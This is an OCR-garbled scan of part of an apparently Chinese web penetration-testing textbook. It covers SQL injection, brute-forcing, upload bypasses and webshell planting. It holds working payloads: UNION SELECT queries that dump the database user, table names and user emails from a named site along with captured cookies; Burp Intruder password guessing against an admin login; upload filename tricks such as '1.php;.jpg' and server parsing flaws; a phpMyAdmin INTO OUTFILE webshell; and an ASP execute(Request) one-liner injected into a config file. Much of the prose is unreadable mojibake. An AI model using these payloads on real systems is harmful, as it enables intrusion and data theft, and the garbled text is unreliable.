i lpvt 9723485e19f1E3eBe518caf54e958ch8=1435891445; seription”:"","topic pic'":"","topic lock":0,"focus coun
iheima=73kaS2rg55t12tBtnBEhZ lvrs0D; fei1t Vtepic title':'2" ladd time":"3", "discuss count':
frz_ Session=90te4mt lgggagécmovolnglhdl; "4","topic_description':"5","topic_pic":"6","topic_lock
frz user login=Z-3118rjlINPLwNSj4crOlfLMyoywoNbHlervINPR Vsort":"16"}],"info" : "\u6210\u529£" }

NeOmESul5yYu7DZzMTRnuDJye_b1Z-dxduvysfOnN_Fnc-WrpPbySvi
xoyEfnLFbmoywoLlunwNSjttDnz=bPxpoq:
ICNZZDATALODO524616=12043037368-14350B6381-hteps253A%252F%
L52Fwvw. iheima.com$252F47C1435886381

Connection: keep-alive

[Pragma: no-cache

[Cache-Control: no-cache

topic_title='] UNION SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 §

=

E3-15 E&&EIf
(6) Fuser(). database()3% pR HA 2 2 A HTiA A
') UNION SELECT user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 #
A, ARAE3-167.

Pragma: no-cache
Content-Length: 583

{"status":"1" ,"res":[{"topic_id":"1521","topic_title":"
","add time":"1421635405" ,"discuss count":"1","topic de
scription":"" ,"topic pic":"","topic_lock":0,"focus coun
"irask@ . .61.105" ,"topic title":"2","add time":"3","
discuss count":"4","topic_description":"5","topic pic":
14" ,"type":"15" ,"sort":"16"}],"info" : "\u6210\u529£"}

E3-16 ZABIEEAPZ
7] LU Bluser Mask@*.*.61.105, F-Hfuser()F it plidatabase()ikid .
ME3-17f7n, XEA] LR BIEHEE Dask, BT RGEBMESL . Wik:
') union select group concat (distinct table name), 2,3,4,5,6,7,8,9,10,

11,12,13,14,15,16 fram J'_nfonnation_schema.tables where table schema=database() #
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O BESRERANKEE

Pragma: no-cache
Content-Length: 570

{"status":"1","res":[{"topic id":"1521" ,"topic title":"
","add time":"1421635405","discuss count":"1","topic de

scription":"","topic pic":"","topic lock":0,"focus coun
":"ask","topic_title":"2","add time":"3","discuss_ count
":"4" ,"topic_description':"5","topic pic":"6","topic lo

5“,”surt“:”16"}],"infu":"\u6210\u529f“}
E3-17 #TAHBEER
RACE, WE3-18F7R, WLLERERACLERMFFEESRT .

Pragma: no-cache
Content-Length: S08

{"status":"1" ,"res": [{"topic_id":"1521","topic_title":"" ,"add time":"14216354
05" ,"discuss_count'":"1" ,"teopic description'":"" , "topic pic":"" ,"topic_lock":0,
"focus count" :0,"user related":0,"url token'":null,"merged id":0,"seo title'":n
ull,"icon" :null, "pid" :0,"type" : "question" ,"sort":0},{"topic_id":"aws active d
e comments,aws article vote,aws attach,aws category,aws draft,aws edm task, aw
s:e dm_taskdat a_,aw s e drn:us erdat a_,aws_e m_us:l: group , aws_eﬁucat inn_e;p erience . aw
s favorite, aws favorite tag,aws feature,aws fea'",'"topic title":"2" "add time"
n':"10","merged id":"11","seo title":"12","icon":"13" ,"pid":"14","type" :"15",
usortu:ulsn}]’n_infou:n\u} -

E3-18 mIhiREIFRE
WRGEEER, WLIEREHEDIREN, WwE3-1907R,

aws_active_data
aWs_answer
aws_answer_comments
aws_answer_thanks
aws_answer_uninterested
aws_answer_vote
aws_approval
aws_active_data
aws_answer
aws_answer_comments
aws_answer_thanks
aws_answer_uninterested
aws_answer_vote
aws_approval
aws_article

aws_article comments
aws_article_wvote
aws_attach

aws_category

aws_draft

aws_edm_task
aws_edm_taskdata
aws_edm userdata
aws_edm_usergroup
aws_education_experience
aws_favorite
aws_favorite_tag
aws_feature

aws_fea

E3-19 REMTEE
E—ANRIFATIEWFE, XEIERZaws edm userdata, Hhex{H A0x6177735(65646d
5£7573657264617461, B A& W FiEHA):
') +union+select+1l, group concat (distinct+column name) , 3, 4,
5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, l6+from+information schema.
columns+where+table name=0x6177735£65646d5f7573657264617461 #
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25 B E3-20F1 7

gma: no-cache
tent-Length: 585

tatus":"1","res": [{"topic id":"1521" ,"topic title":"", 6 "adc
topic description":"","topic pic":"","topic lock":0,"focus
11,"merged id":0,"seo title":null,"icon":null,"pid":0,"ty:
topic title":"id,usergroup,email’ , "add time":"3", 6 "discuss_
_pic":"6","topic_lock":"7","focus count":"8" 6 "user relatec
seo_title":"12}

E3-20 REFE
ME R P ATLUE B fF7Eid usergroup. email =B, X B Q5 E Hemail F B
B, R WTFIEA:
') +union+select+l, group concat (email, 0x2B), 3, 4, 5, 6, 7, 8, 9,

10, 11, 12, 13, 14, 15, 16 +from+taws edm userdata #

2R A E3-21 0178
{"status":"1" ,"res":[{"topic_id":"1521" ,"topic_title":"","add time":"1421
,"topic_description":"","topic pic":"","topic_lock":0,"focus count":0,"us
ull,

2770275
"6" ,"topic lock":"T7","focus count":"8" ,"user related":"9","url token":"10
lel\ : n 12II rll;conll : II13II . ”Pid“ :714" N " tme\l : n 15II rTsortll : II16II ]] y n il‘l.f;” : n \uszlo\

E3-21 FEANGR

324 JENIEH

AL, FEIRXHL UM LA ATAT R INE.

(D FMAESERRGIE, FESAEEEABIEGEE, &% LE2ZGoogle.

(2) MWhois® HE B GIMRAH, RJa K —OripAF@ s g 8 5, b E M. iR
HERBETIERLT “BATR ooty EEIP 7R XS, 38 L8 U 2 A%

(3) 4rHrCookie. HFfIN% L% L& HIAECookie E, X FXFHIFM, HEHE
P 53 (1) 25 SO J5 >Rk Cookie P 1) %5 SCE AT .

(4) fEFFEBIFEANFEE T, A0 eT DUH B8 SO ORI % 3. AR, X
FIPAT AR BT R, AE SRR

(5) FIFI#REIEEIYRE. H R %GR SR RS, XA oL, wTEURE
FRAEEFFEA LR, REFAHEEIHELIGERII &R HiRK .

(6) BB, BRI, Bk EEIhRE, EHEE T A%t
. X0, BATCLARBIN S SO TSR, WM TSR, BXCEEERE.
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3.3.1 7 FHBurpi#{TIRaH

Burp /& Webi2i% 1 H T30k 5 A T H, HEpfEwAme, R ER R LR
SEHUERG: A, REZE, mERFaIHITHE, REGER. A BAvhd T,

(D) MR REHTRE, RAEEXERARAT. &Ex®E, TITEHE
vl .

(2) E3-2207~, XBFEREAEH T 4admin, 12345653, EFRMW. 7F
Burps Al LLE BINIA B R 8 E £, WwE3-2307xR.

E3-22 BAMEMAE
(3) HdiBurp TR A LA K Actiont%l, 7T LAFE B4 B 3-24 7R (K F RS A,

E POST request to hitp:/f /LoginfLoginVenfyilength=5 E@“ Send to Spider

L Previous J [ Next J Action J Do an active scan
N Do a passive scan
R Resron=e Send to Intruder Ctrl+l
Raw | Params T Headers | Hex | Send to Repeater Ctrl+R.

POST /Login/LoginVer1iy7Lengtn=5 HTTE/L. L Send to Sequencer
Host:
Usce- Agent: Momilla/6.0 (Windews NT £.1; rvw:30.0) Geoke/2010010L Firefon/35.0 Send to Comparer

Send to Decoder

T

|
FlAccept: =/
jjjRecepr-Languags=: 2h-CN,zh;q=D.8,en-US;g=0.5,en;q=0.3 .
Accept-Encoding: gsip, deflace Show response in browser
flcontent-Type: application/x-wvu-form—urlencoded: charset=TTF-8
N|¥-Beguested—wich: XMLECTpRecuest Request in browser >
Refscer; I
ICcntEnt—Length: 2@ Engagement tools >
COOK[? © ASP .N]::'}“_Exfssmnld=4r zluizllsjobixchileiodb CUpy URL
connectlon: kesp-allve
Pragma: no-cachs Copy as curl command
ICach?—Com:rc.J.: no-cache
i Copy to file

1 UszrName=adwin&UserPwd= 123456

Save item

Convert selection >
Cut Cirl+X
Copy Crl+C
Paste Ctrl+V

3
i Massage editor halp

I EE _ | o metches rosy sty netp
E3-23 BRIBMERENEIES E3-24 ActionFHIsE &4
(4) 1Z#¥Send to Intruder, HiiiZ 45 EIRBuplf)E54H, WE3-2587R, ATLUESIE
FTH ) Intruderi &I R 2 N5 2R o
(5) V¥ 3IntruderiZ T, HdiPositionsik i, WIE3-26077~, A LLFE 2WIA P F]
I HE .




1 -
3% WebBEWik—EUHEENE L J

Burp Intruder Repeater Window Help

{Target TProxy T Spider I Scanner I Intruder T Repeater T Sequencer T Decoder T Comparer I Extender I Options IAIerts ]

" Intercept ]'Historv T Options ]

‘ Filter: Hiding C5S, image and general binary content

# A| Host | Method | URL | Params | Edited ‘ Status | Length ‘ MIME t... | Extens
1 http://123 249.48.9 POST | /Login/LoginVerify?Length=5 & R

E3-25 #HiEE A send to intruder

Burp Intrudsr Repeater Window Help
!

Target | Proxy | Spider | Scanner Iln.tmde! T Repeater [Sequencer I Decoder [Commr I’Ex\‘.ender IOphons Alerts
AN

[Talget T Positions ] Payloads Tommns ]

@ Payload Positions

Canfigure the positions where payloads will be inseited into the base request. The atiack type detetmines the way in which payloads are assigned to payload
positions - see halp for full details.

Attack typa: lSmpar

-

4
POST /LOGLN/LOgLOVer1Ty LEngon=558 ETTE/ L. L N
Host o r
Tser-Agent: Mozilla/S5.0 (Windows NT €.1; ©v:359.0) Cecko/20100101 Firefox/35.0
Accept: %

Accepr-Language ! zh—CN, 2h:q=0.8,en-U3:g=0.5 =n:q=0.3

Accept-Encoding: gzip, deflace Auto §
Content-Type: application/:-wwv-forn-urlenceded; charset=UTF-8

Y-Feruested-Virh: XMLHCTpRequest

Refecers Reftesh
| Content-Length: 285

Cockis: ASP.NET Seseionld-FEESlGSElisjEniHeRO0soiEE
conneetion: keep-alive
I Pragma: no-cache

Cache Contzal: no eachs

TserNan==-Sadming s Use=r Pwd=§12 39568

3
v

(2] B=] (=] [ [7vwo a soaroir tomn Umathes [ Gear |
E3-26 EFRE
(6) WLLFH ZIEHE O P A LA RbnERE R 1, X2 BupX 32 & 1) A shH| i Hprit
HiClear § 424, XN BT HEH, FrRlik+123456, R)mHiiAdd § %4
(7) WE3-27F7R, HI123456 B IRAZRE T, PR AT MBEF 1M, X
HAAT &4, AR R T AT IR T . i PayloadsiETi -k, HihLoad#&Hl, it
T SO N .

Content=Length: 29

Cookie: ASP.NET_Sessionld=4fzluizllsjobjxchO0ejoib
Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

UserName=admin&User Pud=SISSH5ES|

-
v

[_J[LJ[;.[LJ Type & search term 0 matches
E3-27 HEBRETE
(8) WE3-28F/~, FHICHMESEE, (LA TER T . &4 B L 7 Intruderik
T, PAdiStart attackfiy 4, MNE3-29F17R.




lé\\\\\\\\\ % mmszentinn )

l ;J Payload Options [Simple list]

This payload typs lets you configurs a simple list of strings that are used as payloads

Paste 1111 -

272272
| Load .. J 333333
214034 >
(Remom | | gegses
Glear_ | | 66556
— | v
Add| [Enter anew em
A0d from list -

F3-28 =FHETHRLThINE

B Burp Suite Professionsl v1.5.18 - licensed to LarmyLau I )

| Burp [ Repeater window Help

[F Star allack pester ] Sequencer TDecnder T Comparer TE;ﬂender T Opticns TA\erts ]
Open saved stizck 1

L Activaly scan defined insertion points
ard Send to Repeater

Save attack corfig » T

# | Load attack config »

Copy altack config » 3 number of payload sats depends on the attack type defined in the Positions tab. Various payload types are

Hea b o » 7ad type can be customized in different ways.

Autamatic payload postions

Configure predefined payload lists
b L my— Request count 22

3
Payload court: 22

Bavioad Cotione [Simals lier]

E3-29 EEFIHEH
(9) XA LLE BR MG BAEMFERS) . FFPmTE, 20k EEdE Length, X
HIEEN. WE3-300T7R, 2 B il s s R, TLLE 2R T adminik [B] ) Length
72370, HARKIEZ354, B A Wradminky F%S.

_[Hesuﬂs Target | Positions Ipaylnad; TOptans }
| Filter: Showing all items | ﬂ
Requast Al Payload | Status ‘ Error |'ﬁmauul | Length | Comment
10 000000 200 [m] O 2
n 123456 200 [m] 0O
12 B4 200 L [ v
13 38883888 200 ] 0 3
1 abedaiy 200 (0] L
15 admin 200 (] L] 370
16 admin123 200 O O 4
7 adminB8g 200 )] O b4
18 adminabe 200 O 0 354
19 abc123 200 O 0 34 k3
Request | Response
Raw | Params W Headers | Hax
POST /Login/LoginVerify?Length=5 HTTP/L.l N

E3-30 RN
Tips: +T ¥Aid id Lengthff 64 HE 5 s Heik 4% i ZAE R F) 69 3.
AR, WMASRZ Webili EG RIS . HE, RUEMKIHFERESEE KR, FIH
Python Image Library. Tesseract-OCR. pytesseriX JL{~Pythonst =7, N —(EfbL. 3CF45
NP LTI e B A A TR A ELIBE R 60% A L 5 IERS .

3.3.2 BIEAEXEWebih&2iEhREA

FEX KB Webdli i IET, — AR EHERK BAREEI LM B, TRMATHAT. K
KARFNE, —ARB A A EANTARERNRSE. X TXRRS, REFEER



| HIE WebiBiE ik — BB R Ve ////7////éc

FEHPFR, HAREZEAFVAENRG G E &1 —LE A HIKSaees, miLim
B — S B RN Z AN EARBLAEET, FFRIEESHFRERZ . XHH
T, WEA GBIk A AN, (B2 AR R AR .

MENTIAERGE R, AREEEHREEEZMNERZEAFA, HIHAE Ewww.
aaa.com, M TR, KIL TN AL R Simail.aaa.com. KEAME, —HK
NLIRFE RS AN : AP 2@A RS, iUl EERMNKSEANZE: HRr2@
aaa.com. % FK, TTLLHIHRS|#N @aaa.comBE T E, RREAT UL 4 4
W, m— AR LR TR S E A 4.

BTk, AR ERERIIN R T2 FHE TR, BT A
HENE, WERAXHFEGHEREEZR, B8 AEA123456. 88888888 X155 14
VER B, TR R X, USRS EX R TS F.

Y TAFHETRENE, @GR 2R I0scl, RFIER—EE T
15504, BEERAANETER, HPawhTa, WnTH P& rEe.

R T MR AN R P RS )R, =R A A R 1 P e R
bR GE, FTLAKAIEEBIERE.

3.4 g

FEWebiZiEH, Ja & AR AT ¥ A EEAZIRRAR . — ke G BIE R
B ERTRAMEAESRE T, I THEZFMNGKE, THRANGZH KA Z 6K
5O, HEBETWORT M. A LG G bk BT SR ke ?

341 EaHIER

1. 33325, JEHR

LG 1 2 MR T S BRI AT R, TUIXH AN R BRPE AR S, 73
SREEIRAE T AR AR =, TR H RENTEH AR LLR AL H 3%, 14 IR Rh 2

2. B ZE5|E

MFIEeaEHk, & HEZLIEntext, inurl, intitleZF i FE A RIE:, a8 5L
M, &% EERIIEGER.

3.MHEER
TE KPR BT 2S5 i) — AN Webdh &1, ZEWIM BT AR WAL, Bd “BEFRHEGE
B, BRWmE3-310R.
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[ ]
= 2 s a
o & t: &
A R R =3
pache ESic] i
https://www.baidu.com/favicon.ico Bitx A~
https://fwww.baidu.com/img/baidu.svg Bitr
https:/fwww.baidu.comfimg/bd_logo1.png Eig
https://fwww.baidu.com/img/baidu_jgylogo3.gif B
Hht - https://www.baidu.com/favicon.ico
E-=i- X-ICON BEi&
Fh: 1.07 KB (1,092 ¥73)
R+ : 16px X 16px
[ BBiFEE www.baidu.com 8351
BROETRES - LA SFAN..
28

E3-31 EFENHEER
FEGEAA TS B P AT LLE B 2 AR SO A, BAEER FMEe. BOVIZEE T
T ARG SRR B, T L Webih i) A% H AT, b HRR)E
SHZXTFHZ, FrUlSsT )5 & R R R Rt

4. XSS
XSS a1+ BERE N H 20, BATESRSEX IS E L Mmook,
5. ZEE R HAthim O

FEX KRR SEHATIZERS, HHEAKR AR L\ EH R S — A =B AT
WATWebiBiE, (AHE GEFEROFEEL D AR R =R . NS ET H
AXS B ARk ) RIS A AT BROE R AR L FE Y

Hoft s O SUEARENE? — e Webit ci BRI I 2803w L, HAESLFRBIET, HH K
DUIEAN I R SR SR80 1, 1M 5 5 8 3k DA E R HAbdw 11, 58000, 8080, 80014T
RER. Fril, EBERN BARKE BREZERERfAEm, URBETAHHIRE KR
IS TEL AN 77

6. i) 3k iR

BET7 0 — 51 B S R R B A A B R AR B, REMSE—E
CLHIuE A, SRS EIESE S PR IS K AL TH (TS, W vE & 13k s Rk LR I ACBE 4 XUR &
BIEHEEG . ABERARKEERTF T RGN, XES KT GG 8
RER IV FRIE T, M BEHERARER G SEFHEATHE, FroAvr i RIEE F Rl
Ja & Hidk

FETFRT, JRERM T J7EE B G Ml AT B, FIhReEERE, mfineE
B, BEFESMTE, X EEE Dhemk, HFRENRNEE 2 LeRE. £2
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Frh, X G TSR TR A KT S R IR . S L A R S
Sz 2

342 RBREWIEsRE

BiET, fEWeblli 55 & 1 T JavaScript4:
UE A ] 52 cookie, 1M AX F 56 Uk 4 Ge ik (¥ m] fEPEIR K

& JavaScript iR 3, BN RAETER P, Bk A, BRI AR
XFixEEE K EE N asF HTavaScriptZE - $ f
RRIERIREE T . B, BHRCMSTXE G KK E
Wt i&JavaSeript, WIE3-32F7~, B LAEBISTF S I

fig, TEVIF)ER . E3-32 JSHIAITLBR#TT T IHIE
2 KR %5 25 ¥ javascript.enabled 15 & A falsels, XX E ST IR, a1&l3-336T
> ATUEBIRRIIVIR T 56, BiAMZEE T JavaScript K5 1E .

i

FISEERR (212D)

FISEERR (25)

s

BEA ERE (F30) mr wang @D
CAEAE

AEEE

LEHER

CrEHRi ()

SrEHmi ()

SERSHHIHE

fi.0c0 /uploadfile/201212252041166288. HERf AL

FTERE (30 D

E3-33 AINENEE

343 FAMIN

JREBARBBT 2R Z a6 WA R, RSB )E 6 A U AT LA A . I
HIOLRRM TS B, HERERAE. U A2 3R, WS RESAIME R 5, K
MEE . getshell /™ F il E. 1Ml 24 HEX G & AL IR fE IBA, Ni%/E270e?

1. BALXSS
T —ERENE G, FREMNEEABAEN, THFE FRSUERE HTE /) 78
b REHEUT, MG EES AL, REEEXSS. FEEAZR, HITK
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By Bl FER PR “XSRL 7, (BRI EAL A AR, FE S B AT T & KR X
A% o B0 R R A B ST R, BB R S icAT A sEme, EER &
AR BZRE . BRINRLB S & AREAE B PHAXSSAH, BEFHESHE T
XSS,

2. HALGEN

FEEHEELARSEEERN, WSR2 ARMES. 5, R ENEA
BAERA RS IRKEN, MHEEESAGHRESEN, BiaGLH B, FHE EE 2T
T, o2 R RIER . A, B EEHR R AN B AT B, R R E B
AL )R B T ARG 98 8O IEA AL BT, A T AT AR A

344 FEEXHERFMA

SFJES CAFMIRA, WA S LA &0 T, HETE. robots.txt. #EF
M, IXEEFHRIE A KA/, EEgetshell, F2{5Billlc. XFEE XA, 1
HEEEEEREE N EREN T, Wrar, txt. mdb, sql®E, XFEGERFIFTEFTMEN, 25
W

3.5 LigBaseid

SCAF B AR i getshell iz — . MSCHF EARRIIGUE KRBT LA A BE3R: 20 i
BUE AR SS aeSUE, 7EIX By WA LA RUE R Sed

3.5.1 ERREIEFTR KT

1. JavaScript3& i &3

JavaScriptBHE B2 T B B2 7 3 il , 2 EESSH —FRiE. EEE SR
% FJavaScriptB[ a] 581 .

2. content-type & iF 45 it

content-typeilF, % I 7E# Wrcontent-types& 7 Aimage/gif. X FIXFrEiE BB
P . 9 I content-type Ajimage/gif Bl 7T, 41 E3-34 775 .

3. RABMNZT
R BRI R LR — P EARGIE T 3, AR EE RBP4, His
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PR T BRI, IR sad h A thE £ T ARl 1B A g () 5 LS
BEH LR LA

(1) HELZRILEATHRMZ A, W nasa, cer.

(2) KANERESE, WAsP, pHp.

(3) F A rwIASE .

(4) FpAl 4G .

(5) il bA%.

Coockie: PHPSESSID=pf8tvches3ulg7km7ch7q9d3ise B
Connection: keep-alive

[Content-Type: image/gif:
boundary=----———----—-"—--——————————— 28291754 16E56
Content-Length: 1209

----------------------------- 2929179416656
Content-Disposition: form-data; name="news title"

[E3-34 f{&Bcontent-type

4. AR BHNLET

B PRI i T R A A, USVF B B A BB RV LR R4S, R
RARARRDNGIRAE RPRRY 2 F5ed 77 200 B 4 AT A8 475mT LU ki
EAf L RN RSO AE R TS .

5. ekl BAPOSTH MR it

TEFERT, AT ITEEFER, <oy RABATRAE, R EAESUHERY R4 A
APATIA, Xt HPOSTHIAGE AT RN, W RAFEBEAME ML BL. T
XK AR g KRBT R LM R, —EFMAZRMAD S AN, —MEHBEEX
X HatAT o8 . sUEPHPR U, Sok AR AR DI Moo ff o, BAGFIERT$hAT
A, PRI EA% ;s SR JG R a0 B 3-35 Bras BUARRS B — AN PHPSCAF AT, InZRAM =< txt
pEis

<?php

include 'xx.txt';
23]

[E3-35 ESMED x x xtLiF

FIHPHPH [flinclude i H0E NI A b AR I ot SCAF L&k 25, 1 I PHPH include /2 % F bR
B, —MPOSTHIIIASIAAHZEEMN, B brg, Minged s T &S,

6. AR 5525 B FIRBIRySeid

A T Web N HI 27 4 5 W9 P44 H BT AT ABGAE, TR FEARSS 45 _EX) bA% H % foir b
Pl SO R REAT IR TOX T IX KB Ms VA, WR RG] AR g2 B e ThEeid T .
Horp il W B g 578 T B, Xt HEEBSEE AT, wE3-365r
N, JXHUR /B AR PRI H 5% .
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img

Tdfcb2dc0832
Content-Disposition: form—data; name= uppath”

i

Tdfcb2dc0832
Content-Disposition: formdata; name="Submit”

E3-36 E#EEH LEBRE
EAEAE LN, EEAESCHE A RN /AT H RISk, w3-375R.

533

————————————————————————————— 2929179416656
Content-Disposition: form-data; name="img thumb";
filename="../2.php"

Content-Type: application/octet-stream

E3-37 WiEHmrEgRHEYaER
352 EBEfFI3fr—Es5idFik

1. BB L%

3 T AR R FE16003R2680-2600%) ST 44 HE AT AT M TG A . ZEBurprh AT L
P Hohex (AT, 3387 .

————————————————————————————— 2829179416656
Content-Disposition: form-data; name="img thumb"”;
filename="1.php;.jpg"

Content-Type: application/octet-stream

E3-38 SN IFE
K SO P i hex fE R #0500, 40 E13-39F1 EI3-40HT7%

| Al be B1 bd b5 S0 ZZ bY bd  m-dala; name="Im
2 3b 20 66 69 6c 65 6e 61 g _thumb";filena
68 70 Pp0 ]2 62 70 67 22 0d me="1php;.jpg”
74 2d 54 79 70 65 3a 20 @1 Content-Type: a
69 6f e  2f 6f 63 74 65 74  pplication/octet

0d ba 0d Oa Od O0a 2d 2d 2d -stream—

2d 2d 2d 2d 2d 2d 2d 2d 2d

o " na ~an an AnnnaT

E3-39 SSHE

T R T . L= ]

————————————————————————————— 2829179416€56
Content-Disposition: form-data; name="img_thumb"; filename="u.phpﬂ.jpg"
Content-Type: application/octet-stream

E3-40 hex{&HThiE &L
2. iR

FEeWeb N I FEFr 3t _EAR G ISCAF AT AT E A % . Wik, ol DLzl A — S i i
#ATSEL

(1) TIS 6.0f#ATIRF

RIS 6. OfF HrimiF I EA PR : B R RSO T 6T B idr, Hsa
FETER il T SL 45 F N> aspy xasa (ISR, HH RAERTY A B ST FR RIS 2 4F
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ASPIHFRAFMTIFAAT, WI<x.asp/oxjpg, << jpgRth AIEASPIAT . 34 FCH-AEHT, w0l
XX asps jpg, 735 Ja KA, BUEAER x> asp.

(2) Nginxfi# 4

TEERIAFast-CGIFF BRI T,  bAE— P EFEEMMKE fr, HURLA: >xxx.com/*x.
ipge VRO com/*x jpg/ phpft, JRAx jpgff et A Ephp AT T .

(3) Nginx <8.037F F WAL BTN

& AR B R 4l NS R AR, SR 5 5 U7 a) X << jpg%00.php i 47 H o 4885

(4) Apachef#HriRiR

Apaches WA B 72 TFIR A Wi A, an SR A AT RS Af, 58 B AE A0 R, Hedn
xx php.owf.rar® .owfH rar 1X P F J5 4% /& Apache S T iR ##HT, Apacheii &3 xx.php.owf.
rarfi# BT lphp

3. ¥R B HIE

EESH, TP 2SR BAARIE, HHESHR—SERENSES. Fu:
xxphp “.” jpg. *xphp %, X FXEKAF, 7FEBEGHETEEHEHT AR

3.6 getshelllt Hofth jy 5

A EAR s getshell EE Tz —, B T30 EAR, HSNOEARZ HAb K getshell i)
Je

1. phpMyAdmin
I FH 55 04 % FphpMyAdmin, 1 i http://URL/phpmyadmin/libraries/select lang.lib.
php, FILUMS 3| HFruh YRR A2, RIaimeE— Mok, 3170 FMySQLIER):

Create TABLE a (cmd text NOT NULL) ;
Insert INTO a (cmd) VALUES (")
select cmd from a into outfile 'D:/usr/www/html/phpMyAdmin/d.php';

Drop TABLE IF EXISTS a;

XA R TROR I T

IBATH — AR AR IE E M BRFE P — A Ra; BITH &M PHP —AJIE KR
LERafd; MEPTHE =F1EM, TakB@BBIMNGEHRTHdphpHE, BIFT I
getshell.

2. BIEE&ED
KR B & R H W getshell 777, il mdb 4 PE& i TE LB MG & O 2R
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“ONN BESRERANREE

ST, BEZAEEPIARREE K. —KIGHT, FEWHSHNRM—E /BRI
getshell: s ER AR TR & SO T E, WE3-418R.

Stnias
LR (B EE) ¢ data_jk/joekoe_data. asp
SNHEEER(IEWE®) : databackup MESRAFE . BFsamnyE
EREIRESIRCIESE) « databak_2015-7-7. asp IMEEHFEEEEEs | eel
SR
22—

« fraREEREE TREFSHEE RNEHES
« BREESEA .mdb NESEHEEHEIEE
o SELIER I hEE RS SRR | DEPEEss |

EXXX)

E3-41 XEFMBEMERHITIENL
R 2ok TR R R SO BRI B R kAR, FR R SR E R B SO a1
HERAT .

3. EAREXH

Bl inxyems ) J5 & BC & X frgetshell, 7ERCE XA PAER —RPIHA —AITEARLD " %><
%execute (Request (chr(112)))%><% "' " Bl a] getshell, #n1E3-42f7~.

PIshEER ¢

PashiEA

SRR B Bh3EEH %> <Sexecute (Request (chr (112))) 5<% 7 |
PSSR

PSAICPS

LOGOH : upLoadFile /2013926589

E3-42 WmA—AHEARD
B3l AARES (1) 3 inc/config.asp I AS 1 B 3-43 171 o

i [ D:\e 1\wwwr oot \F¥52 4 Inchconfiz. asp
ch s
Const wzname="3g]
Const deseriptio mm 1! E —
Const keywords=" mecute (Request (chr (112)))8>% " libER=E
Const wzurl="htt 5
Const wzlogo="up :53915£r§ SELOGOE IR 1R
Const 1ep="7FICFE

Const managename g]&;A
Const email="839

Const telmum=""’

Const phonenum=" %iﬂ

Const faxmum=""’

Const qqnum="599

Const address=" At

Const ghook_sh=" g 0 Tﬁﬁﬁ' 1-Fe

Const m\_ruﬂ::l]"r 5%1; e s
ggnst off_de="f4 |§E|ﬂl 'l%i hid: WataE. .. " REEEER

E3-43 FEHES
4. XHaEE

EREBIET, THEEHEAE NHgetshel 77EZ —, B FREF TR TED VR
H R BT 5.

[ B Al
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AN gEszemins )

OAACHS S o ? SRR, T D URAY, X AT SRR, X
EgR AT EHIFH, RAMEHEESRFRORE, EHERFOHE AT £
A RBFERE PR, FRREETAER, Bl TREHMARZEUATTDH. A5
R LIPHPARAS A B, SRUHAAHS B v AR IS AR

PHPIER 4T THIHATE S, LHEAWeb R BAHHEEFE. 5 EF. I
eSS, B A SR, BEAE ORI g M BEE A, PHPS | () %2 42 1)l

ARG 1K

4.1 HHMH T

o TRAREHREE, BARTH—THAKEEI TR,

1. Notepad
B Notepad CGEAFEA) HABBERFME, EEHHEIEMEKT, FHAHAIFARZ.

2. Seay PHP

Seay PHPARAGH 1 T HSZ Fr oo iialda 4. LB AR, EENICE . AxtaE
XAMS, 5 T ADRE, wmE4-157R.
T e N

s | |[(B& |[#amk | [ B | noms g
fHER

W, i s e
me e

n Ah BRI

12T SIS BHAEHEE . SEAEPRHNREEREEEESINENEL. BASE EFA)5 SRS
El4-1 Seay PHPR®E

3. CodeXploiter

FRR—AKESMAEE TR, HARr R 7E TR AL A e e M R AU A B AR TE
HEE, HEEFIEEN AR EREFE, HoEs.
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4 MEKEIR

XETHNABELKNIEE RGN ZASPE4, Burp Suite M1 Fiddlertb #5144, W
El4-2FE4-3F7

Burp Intruder Repeater Window Help

| Fiter. Hiding not found items, hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders |

Host [ Method | uRL | Params | Status 4 [ Length | M v

E4-2 Burp Suite

File Edit Rules Tools View Help EJ GeoEdge
28 WinConfig ) ## Replay X~ b Go | Stream ili Decode | Keep: All sessions = €8 Any Process

& Result Protocol Host URL | [# composer | [l Log | [ Fiters | = Timeline
[EFY 200  HTTP www, telerik,com diatecled(‘ @5535353 I QWJ # AutoResponder

Fiddler can return previously generated responses [N

[] Enable automaticresponses [ | Unmatched requests pa

Add Rule Import...

Rule Editor

E4-3 Fiddler
5 FHEMIA

TR TAMRE, BEEXEHERDEZ YRR TR, SRS EmEE N
URL/SQL_En/Hex/Asc/MD5_32/MD5_16/Base64%5 4% X iiwfid, e# M, WE4-4fR.

6. % MBI NS

X KPR A, S AT RIEAERCHIME. FBET, KINEHEULERN
AR R DAT DR TR, EAPHPH IFHHE MR KT AKX T KPR 5
IV ERRARIE T, THERE KK ALK R -

KNSR AR R B, RS ) “CE BRI %4, R RER
BRELZEMARAARE T, mE4-5FTR.



3&\\\\\\\\\@” BESREWAEE

B F &-h8-® @ » |
Il,l):\:pdntl [dv_user] set usergroupid=l where userid=Z;-— i E e
UVRLES = : =i =4 [

i — 100% +
s O <« B

b RS0 RIS ST

&0
Hexz q =
- | e o e
e 180 ol o et ES

Ase:
I £HTR 0 Q gy
;'”5-32’ B (meiomiear (CulsshiftA)
MDS_16:
| - # B
BaseBd: | FFEE MEETE

L Ea |
| Bazefd Fl
BHiEBasef4: Q) E2LES
I |+ =] e o

BE4-4 NEZHEEHHRTA E4-5 é%%n%ﬁkﬂn#ﬁ{#ﬂ
(1) Firebug. FirebugfE % M it (¥ [A]BF UATAE M DhREFE M FF R TH, {EHERTLL
KHTAT T €SS+ HTML 1 JavaScript #4752 44k IR, WE4-67 7.

# % C > )= pwa HTML- | css BE DOM @A Cookies | pmEvz=z|a v| BEE
& | W5 | seript < window#ap..._window st v | iEsmEst %5 pom mr D
B <«window id="appoenter wmindsw™ swmlna="http:// wnromozilla . org  commandset, L
/reymaster/gatekeeper/thers_is_cnly xul™ xmlns:html="http: command,
o w3 o org/ 1999 /ahtml® title="IIE broadeesterset,
™ hasBrowserHandlers="true"> broadsaster,
‘.h?\ml:l..\.n).i. rel="icon"™ ]':lz=-f—".:h:nm= =/ /ntab/akin/ logs x;:;‘;?sitej',
Jfirefox.ice™ style="display:ncne"/> oottt pas ere,
B <brm.i'ser id="content" type="content™ src="http://i.firef toolbarset,
template, rule,
conditions,
action,
bindings,
binding,
content, membez,
tripls,
treechildren,
treeicem, v

E4-6 Firebugiit TE
(2) Live HTTP headers. % T HF kX #4E @diTHigk, WE4-7F77~.

